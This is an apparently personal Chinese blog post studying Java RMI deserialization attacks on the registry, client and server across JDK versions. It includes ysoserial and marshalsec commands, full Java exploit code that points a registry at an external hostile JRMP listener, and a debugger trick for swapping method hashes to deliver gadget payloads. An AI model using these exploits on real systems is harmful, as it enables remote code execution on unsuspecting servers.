这篇文章是三月份写好的,准备找机会再出个题目的,捂到现在发现已经有很多比较全的总结了,索性我也直接放出来了。
最近做了几个ctf 的题都和rmi 有关,这里再学习一下。
先看几个结论:
rmi registery
由于bind 在jdk8u141-b10
(更新链接 )以后检查了localhost,不能直接打远程了
rmi client
在jdk < jdk8u121 之前 可通过reference 加载远程class 搞
在jdk8u121 之后
需要本地存在gadget才能通过构造恶意的 JRMP 服务器搞
利用本地Class作为Reference Factory
rmi server
如果参数是Object,本地存在gadget ,能搞
如果参数是其他类型(除Boolean,Character,Byte,Short,Integer,Long,Float,Double,Void外),本地存在gadget,可以通过debug的方式搞
RMI registery 直接攻击registery 到底能不能搞?这个问题我认为是不能现在直接搞rmi registery。(如果我理解错了,请指正)
但是网上有很多讲攻击rmi registery的方法,在jdkxxx之前可以通过
1 java8 -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 2099 CommonsCollections5 "open /System/Applications/Calculator.app/"
在本机jdk 8u112 测试成功,能够弹出计算器
在jdk8u121 之后,有个jep290,会限制
再用上面的payload打,会有问题,会报错(本地用jdk 8u211)
1 2 3 4 5 6 7 8 java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is: java.io.InvalidClassException: filter status: REJECTED at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389) at sun.rmi.transport.Transport$1.run(Transport.java:200) at sun.rmi.transport.Transport$1.run(Transport.java:197) at java.security.AccessController.doPrivileged(Native Method) ....
根据这篇文章[1] 说的是:
java 8 update 121]之后RMIRegistryImpl.registryFilter() 的限制
本地通过那个代码,发现确实也可以打, 大概原理就是通过发送一个payload,让registery在反序列化的时候再进行一次rmi,让其充当rmi client 通过构造恶意的jrmp 服务器打。
按理说通过下面的命令应该也行
1 java8 -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 2099 JRMPClient "202.120.7.206:1088"
但还是java.io.InvalidClassException: filter status: REJECTED
这个具体原因还没有调试(有空再搞)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 package com.company;import sun.rmi.server.UnicastRef;import ysoserial.payloads.ObjectPayload;import ysoserial.payloads.ObjectPayload.Utils;import ysoserial.payloads.util.Gadgets;import ysoserial.secmgr.ExecCheckingSecurityManager;import javax.management.remote.rmi.RMIConnectionImpl_Stub;import javax.net.ssl.*;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.*;import java.net.Socket;import java.rmi.ConnectIOException;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.*;import java.security.cert.X509Certificate;import java.util.concurrent.Callable;public class Main { private static class TrustAllSSL extends X509ExtendedTrustManager { private static final X509Certificate[] ANY_CA = {}; public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } public void checkServerTrusted (final X509Certificate[] c, final String t) { } public void checkClientTrusted (final X509Certificate[] c, final String t) { } public void checkServerTrusted (final X509Certificate[] c, final String t, final SSLEngine e) { } public void checkServerTrusted (final X509Certificate[] c, final String t, final Socket e) { } public void checkClientTrusted (final X509Certificate[] c, final String t, final SSLEngine e) { } public void checkClientTrusted (final X509Certificate[] c, final String t, final Socket e) { } } private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { public Socket createSocket (String host, int port) throws IOException { try { SSLContext ctx = SSLContext.getInstance("TLS" ); ctx.init(null , new TrustManager[]{new TrustAllSSL()}, null ); SSLSocketFactory factory = ctx.getSocketFactory(); return factory.createSocket(host, port); } catch (Exception e) { throw new IOException(e); } } } public static void main (final String[] xargs) throws Exception { System.out.println("用法如下 RMIRegistryHost RMIRegistryPort JRMPListenerHost JRMPListenerPort" ); String [] args = {"127.0.0.1" , "2099" , "202.120.7.206" , "1088" }; final String rmiRegistryHost = args[0 ]; final int rmiRegistryPort = Integer.parseInt(args[1 ]); final String jrmpListenerHost = args[2 ]; final int jrmpListenerPort = Integer.parseInt(args[3 ]); Registry registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort); try { registry.list(); } catch (ConnectIOException ex) { registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, new RMISSLClientSocketFactory()); } exploit(registry, jrmpListenerHost, jrmpListenerPort); } public static void exploit (final Registry registry, final Class<? extends ObjectPayload> payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() { public Void call () throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class ) ; try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null ; } }); } public static void exploit (final Registry registry, final String jrmpListenerHost, final int jrmpListenerPort) throws Exception { UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef); String name = "pwned" + System.nanoTime(); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } } public static UnicastRef generateUnicastRef (String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false ); return new sun.rmi.server.UnicastRef(liveRef); } public static class PocHandler implements InvocationHandler , Serializable { private RemoteRef ref; protected PocHandler (RemoteRef newref) { ref = newref; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { return method.invoke(this .ref, args); } } }
本地一切都很完美,当时当我打远程的时候发现
1 2 3 4 5 6 java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: java.rmi.AccessException: Registry.bind disallowed; origin /xxxxx is non-local host at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389) at sun.rmi.transport.Transport$1.run(Transport.java:200) at sun.rmi.transport.Transport$1.run(Transport.java:197) at java.security.AccessController.doPrivileged(Native Method)
看异常应该是说 我的ip 不是local host
然后我就开始调试。
发现在readObject之前会进行一次checkAccess,
checkAccess 大概会做这些事情
获取client host
将client host 传到InetAddress.getByName
然后检查可是0.0.0.0
然后通过(new ServerSocket(0, 10, var2)).close()
,如果不抛出异常就是local host,否则抛出non-local host 异常
这个能不能绕呢?没有细跟(我也不清楚能不能绕过,还是菜)
至此,心情经历了起起落落之后,发现rmi registry 远程还是搞不了。
RMI client 无gadget 如果jdk 小于8u121 可以直接使用rmi reference
1 java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
如果大于8u191 还可以通过org.apache.naming.factory.BeanFactory
绕过,详细可以参考2 这里就不赘述了
有 gadget 上面的都不需要本地有gadget,如果本地有gadget可以直接构造一个恶意的jrmp服务器让其去连
1 java8 -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /System/Applications/Calculator.app/"
RMI server 参数是Object 可以直接传个payload,过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.wu;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import ysoserial.payloads.CommonsCollections5;public class Main { public static void main (String[] args) { try { Registry registry = LocateRegistry.getRegistry("x.x.x.x" , 2099 ); HelloInter hello = (HelloInter) registry.lookup( "hello" ); Object payload = new CommonsCollections5().getObject("touch /tmp/xxx" ); String x = hello.sayHello(payload); System.out.println(x); }catch (Exception e){ e.printStackTrace(); } } }
参数是其他类型 这个我验证了一下是能搞的,通过这篇文章3 提到了下面几种方法
Copy the code of the java.rmi package to a new package and change the code there
Attach a debugger to the running client and replace the objects before they are serialized
Change the bytecode by using a tool like Javassist
Replace the already serialized objects on the network stream by implementing a proxy
他后来用了第二种方法,通过Debug来修改一些值,我本来想用Idea直接修改的,但是我new class 的时候没成功,后来自己摸索了一种类似的方法,中间踩了一些坑。
Rmi server 相关文件
Main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.wu;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class Main { public static void main (String[] args) { try { LocateRegistry.createRegistry(2099 ); HelloImpl hello = new HelloImpl(); HelloInter stub = (HelloInter) UnicastRemoteObject.exportObject(hello, 0 ); Registry registry=LocateRegistry.getRegistry(2099 ); registry.bind("hello" , stub); System.out.println("bind success!" ); }catch (Exception e){ e.printStackTrace(); } } }
HelloInter.java
1 2 3 4 5 6 7 8 9 10 package com.wu;import java.io.ObjectInputStream;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloInter extends Remote { String sayHello (String name) throws RemoteException ; }
HelloImpl.java
1 2 3 4 5 6 7 8 9 10 package com.wu;import java.rmi.RemoteException;public class HelloImpl implements HelloInter { @Override public String sayHello (String name) throws RemoteException { return "[" + name + "]" ; } }
下面说一下我的做法。
按照相同的参数类型,然后通过debug,得到method的hash
修改参数类型为Object,通过debug,下断点修改, method 的hash
下两个断点
在package java.rmi.server.RemoteObjectInvocationHandler
中的invokeRemoteMethod
一个是sun.rmi.server.UnicastRef
的invoke
方法
var4 的值就是计算后的hash,我们将这个值保存下来8370655165776887524L
修改rmi client中的参数类型为object
Main 也修改一下
再debug一次
我们发现var4 的值已经变了,如果不是修改,会得到下面的结果unrecognized method hash
1 2 3 ava.rmi.ServerException: RemoteException occurred in server thread; nested exception is: java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
在修改值的时候,右击setValue,记得要加个L,要不然报错
点击继续,就可以看到弹出来的计算器了。
由于CommonCollections 的gadget在debug 的时候有时候会自动触发,所以下断点的位置不要在client就触发了gadget。
看完了操作,再从代码角度看看,这样为啥可以?
在sun.rmi.server.UnicastRef
里
rmi server 端的调试,可以看到var0 是string class(服务端的我们改不掉)
可以看到
String的时候isPrimitive() 返回的是false,所以可以直接跳到readObject,触发了反序列化。
本来没想用CommonCollections 的gadget,自己写了个类,写了readObject,但是不知道为啥就不调用,搞的我怀疑人生,后来死马当活马医,试了CommonCollections的,发现确实可以。
后续待完善
有没有大佬看一下bind那个能不能绕过
不知道这个能不能自动化
参考链接 https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides%20Exploiting%20RMI%20Services.pdf
https://www.slideshare.net/NickBloor3/nicky-bloor-barmie-poking-javas-back-door-44con-2017